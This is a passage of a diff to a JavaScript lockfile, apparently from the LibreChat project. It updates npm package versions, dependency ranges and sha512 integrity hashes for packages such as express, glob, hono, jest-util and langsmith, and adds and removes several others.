- "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "escodegen": "bin/escodegen.js", "esgenerate": "bin/esgenerate.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="],
-
"eslint": ["eslint@9.39.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.1", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.1", "@eslint/js": "9.39.1", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.6", "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", "eslint-scope": "^8.4.0", "eslint-visitor-keys": "^4.2.1", "espree": "^10.4.0", "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "json-stable-stringify-without-jsonify": "^1.0.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3" }, "peerDependencies": { "jiti": "*" }, "bin": "bin/eslint.js" }, "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g=="],
"eslint-config-prettier": ["eslint-config-prettier@10.0.1", "", { "peerDependencies": { "eslint": ">=7.0.0" }, "bin": "build/bin/cli.js" }, "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw=="],
@@ -2755,11 +2985,11 @@
"export-from-json": ["export-from-json@1.7.4", "", {}, "sha512-FjmpluvZS2PTYyhkoMfQoyEJMfe2bfAyNpa5Apa6C9n7SWUWyJkG/VFnzERuj3q9Jjo3iwBjwVsDQ7Z7sczthA=="],
- "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
+ "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="],
"express-mongo-sanitize": ["express-mongo-sanitize@2.2.0", "", {}, "sha512-PZBs5nwhD6ek9ZuP+W2xmpvcrHwXZxD5GdieX2dsjPbAbH4azOkrHbycBud2QRU+YQF1CT+pki/lZGedHgo/dQ=="],
- "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="],
+ "express-rate-limit": ["express-rate-limit@8.3.1", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw=="],
"express-session": ["express-session@1.18.2", "", { "dependencies": { "cookie": "0.7.2", "cookie-signature": "1.0.7", "debug": "2.6.9", "depd": "~2.0.0", "on-headers": "~1.1.0", "parseurl": "~1.3.3", "safe-buffer": "5.2.1", "uid-safe": "~2.1.5" } }, "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A=="],
@@ -2787,7 +3017,7 @@
"fast-uri": ["fast-uri@3.0.6", "", {}, "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw=="],
- "fast-xml-parser": ["fast-xml-parser@4.4.1", "", { "dependencies": { "strnum": "^1.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw=="],
+ "fast-xml-parser": ["fast-xml-parser@5.3.8", "", { "dependencies": { "strnum": "^2.1.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw=="],
"fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="],
@@ -2849,7 +3079,7 @@
"forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="],
- "fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+ "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
"framer-motion": ["framer-motion@12.23.9", "", { "dependencies": { "motion-dom": "^12.23.9", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-TqEHXj8LWfQSKqfdr5Y4mYltYLw96deu6/K9kGDd+ysqRJPNwF9nb5mZcrLmybHbU7gcJ+HQar41U3UTGanbbQ=="],
@@ -2867,7 +3097,7 @@
"functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
- "gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
+ "gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
"gcp-metadata": ["gcp-metadata@5.3.0", "", { "dependencies": { "gaxios": "^5.0.0", "json-bigint": "^1.0.0" } }, "sha512-FNTkdNEnBdlqF2oatizolQqNANMrcqJt6AAYt99B3y1aLLC8Hc5IOBb+ZnnzllodEEf6xMBp6wRcBbc16fa65w=="],
@@ -2897,12 +3127,10 @@
"get-tsconfig": ["get-tsconfig@4.10.0", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-kGzZ3LWWQcGIAmg6iWvXn0ei6WDtV26wzHRMwDSzmAbcXrTEXxHy6IehI6/4eT6VRKyMP1eF1VqwrVUmE/LR7A=="],
- "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="],
+ "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="],
"glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
- "glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
-
"globals": ["globals@15.14.0", "", {}, "sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig=="],
"globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="],
@@ -2911,8 +3139,6 @@
"google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="],
- "googleapis-common": ["googleapis-common@7.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^6.0.3", "google-auth-library": "^9.0.0", "qs": "^6.7.0", "url-template": "^2.0.8", "uuid": "^9.0.0" } }, "sha512-mgt5zsd7zj5t5QXvDanjWguMdHAcJmmDrF9RkInCecNsyV7S7YtGqm5v2IWONNID88osb7zmx5FtrAP12JfD0w=="],
-
"gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
@@ -2921,10 +3147,14 @@
"gtoken": ["gtoken@7.1.0", "", { "dependencies": { "gaxios": "^6.0.0", "jws": "^4.0.0" } }, "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw=="],
+ "hachure-fill": ["hachure-fill@0.5.2", "", {}, "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg=="],
+
"hamt_plus": ["hamt_plus@1.0.2", "", {}, "sha512-t2JXKaehnMb9paaYA7J0BX8QQAY8lwfQ9Gjf4pg/mk4krt+cmwmU652HOoWonf+7+EQV97ARPMhhVgU1ra2GhA=="],
"handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": "bin/handlebars" }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="],
+ "happy-dom": ["happy-dom@20.8.3", "", { "dependencies": { "@types/node": ">=20.0.0", "@types/whatwg-mimetype": "^3.0.2", "@types/ws": "^8.18.1", "entities": "^7.0.1", "whatwg-mimetype": "^3.0.0", "ws": "^8.18.3" } }, "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ=="],
+
"harmony-reflect": ["harmony-reflect@1.6.2", "", {}, "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="],
"has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="],
@@ -2973,7 +3203,7 @@
"hoist-non-react-statics": ["hoist-non-react-statics@3.3.2", "", { "dependencies": { "react-is": "^16.7.0" } }, "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw=="],
- "hono": ["hono@4.11.1", "", {}, "sha512-KsFcH0xxHes0J4zaQgWbYwmz3UPOOskdqZmItstUG93+Wk1ePBLkLGwbP9zlmh1BFUiL8Qp+Xfu9P7feJWpGNg=="],
+ "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="],
"hookified": ["hookified@1.12.1", "", {}, "sha512-xnKGl+iMIlhrZmGHB729MqlmPoWBznctSQTYCpFKqNsCgimJQmithcW0xSQMMFzYnV2iKUh25alswn6epgxS0Q=="],
@@ -3025,6 +3255,8 @@
"ignore-by-default": ["ignore-by-default@1.0.1", "", {}, "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA=="],
+ "immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="],
+
"import-cwd": ["import-cwd@3.0.0", "", { "dependencies": { "import-from": "^3.0.0" } }, "sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg=="],
"import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="],
@@ -3049,11 +3281,13 @@
"internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
+ "internmap": ["internmap@2.0.3", "", {}, "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg=="],
+
"intersection-observer": ["intersection-observer@0.10.0", "", {}, "sha512-fn4bQ0Xq8FTej09YC/jqKZwtijpvARlRp6wxL5WTA6yPe2YWSJ5RJh7Nm79rK2qB0wr6iDQzH60XGq5V/7u8YQ=="],
"ioredis": ["ioredis@5.3.2", "", { "dependencies": { "@ioredis/commands": "^1.1.1", "cluster-key-slot": "^1.1.0", "debug": "^4.3.4", "denque": "^2.1.0", "lodash.defaults": "^4.2.0", "lodash.isarguments": "^3.1.0", "redis-errors": "^1.2.0", "redis-parser": "^3.0.0", "standard-as-callback": "^2.1.0" } }, "sha512-1DKMMzlIHM02eBBVOFQ1+AolGjs6+xEcM4PDL7NqOS6szq7H9jSaEkIUH6/a5Hl241LzW6JLSiAbNvTQjUupUA=="],
- "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="],
+ "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="],
"ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="],
@@ -3215,7 +3449,7 @@
"jest-message-util": ["jest-message-util@30.2.0", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@jest/types": "30.2.0", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "micromatch": "^4.0.8", "pretty-format": "30.2.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" } }, "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw=="],
- "jest-mock": ["jest-mock@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "jest-util": "^29.7.0" } }, "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw=="],
+ "jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
"jest-pnp-resolver": ["jest-pnp-resolver@1.2.3", "", { "peerDependencies": { "jest-resolve": "*" } }, "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w=="],
@@ -3231,7 +3465,7 @@
"jest-snapshot": ["jest-snapshot@30.2.0", "", { "dependencies": { "@babel/core": "^7.27.4", "@babel/generator": "^7.27.5", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "@jest/snapshot-utils": "30.2.0", "@jest/transform": "30.2.0", "@jest/types": "30.2.0", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", "expect": "30.2.0", "graceful-fs": "^4.2.11", "jest-diff": "30.2.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-util": "30.2.0", "pretty-format": "30.2.0", "semver": "^7.7.2", "synckit": "^0.11.8" } }, "sha512-5WEtTy2jXPFypadKNpbNkZ72puZCa6UjSr/7djeecHWOu7iYhSXSnHScT8wBz3Rn8Ena5d5RYRcsyKIeqG1IyA=="],
- "jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+ "jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-validate": ["jest-validate@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "@jest/types": "30.2.0", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", "pretty-format": "30.2.0" } }, "sha512-FBGWi7dP2hpdi8nBoWxSsLvBFewKAg0+uSQwBaof4Y4DPgBabXgpSYC5/lR7VmnIlSpASmCi/ntRWPbv7089Pw=="],
@@ -3283,6 +3517,8 @@
"jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
+ "jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="],
+
"jwa": ["jwa@2.0.0", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA=="],
"jwks-rsa": ["jwks-rsa@3.2.0", "", { "dependencies": { "@types/express": "^4.17.20", "@types/jsonwebtoken": "^9.0.4", "debug": "^4.3.4", "jose": "^4.15.4", "limiter": "^1.1.5", "lru-memoizer": "^2.2.0" } }, "sha512-PwchfHcQK/5PSydeKCs1ylNym0w/SSv8a62DgHJ//7x2ZclCoinlsjAfDxAAbpoTPybOum/Jgy+vkvMmKz89Ww=="],
@@ -3297,16 +3533,22 @@
"keyv-file": ["keyv-file@5.2.0", "", { "dependencies": { "@keyv/serialize": "^1.0.1", "tslib": "^1.14.1" } }, "sha512-5JEBqQiDzjGCQHtf7KLReJdHKchaJyUZW+9TvBu+4dc+uuTqUG9KcdA3ICMXlwky3qjKc0ecNCNefbgjyDtlAg=="],
+ "khroma": ["khroma@2.1.0", "", {}, "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw=="],
+
"klona": ["klona@2.0.6", "", {}, "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA=="],
"kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="],
- "langsmith": ["langsmith@0.3.67", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" } }, "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g=="],
+ "langium": ["langium@4.2.1", "", { "dependencies": { "chevrotain": "~11.1.1", "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", "vscode-uri": "~3.1.0" } }, "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ=="],
+
+ "langsmith": ["langsmith@0.4.12", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" }, "optionalPeers": ["@opentelemetry/api", "@opentelemetry/exporter-trace-otlp-proto", "@opentelemetry/sdk-trace-base", "openai"] }, "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw=="],
"language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="],
"language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="],
+ "layout-base": ["layout-base@1.0.2", "", {}, "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg=="],
+
"ldap-filter": ["ldap-filter@0.3.3", "", { "dependencies": { "assert-plus": "^1.0.0" } }, "sha512-/tFkx5WIn4HuO+6w9lsfxq4FN3O+fDZeO9Mek8dCD8rTUpqzRa766BOBO7BcGkn3X86m5+cBm1/2S/Shzz7gMg=="],
"ldapauth-fork": ["ldapauth-fork@5.0.5", "", { "dependencies": { "@types/ldapjs": "^2.2.2", "bcryptjs": "^2.4.0", "ldapjs": "^2.2.1", "lru-cache": "^7.10.1" } }, "sha512-LWUk76+V4AOZbny/3HIPQtGPWZyA3SW2tRhsWIBi9imP22WJktKLHV1ofd8Jo/wY7Ve6vAT7FCI5mEn3blZTjw=="],
@@ -3319,6 +3561,8 @@
"librechat-data-provider": ["librechat-data-provider@workspace:packages/data-provider"],
+ "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="],
+
"lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="],
"limiter": ["limiter@1.1.5", "", {}, "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA=="],
@@ -3329,13 +3573,13 @@
"listr2": ["listr2@8.2.5", "", { "dependencies": { "cli-truncate": "^4.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-iyAZCeyD+c1gPyE9qpFu8af0Y+MRtmKOncdGoA2S5EY8iFq99dmmvkNnHiWo+pj0s7yH7l3KPIgee77tKpXPWQ=="],
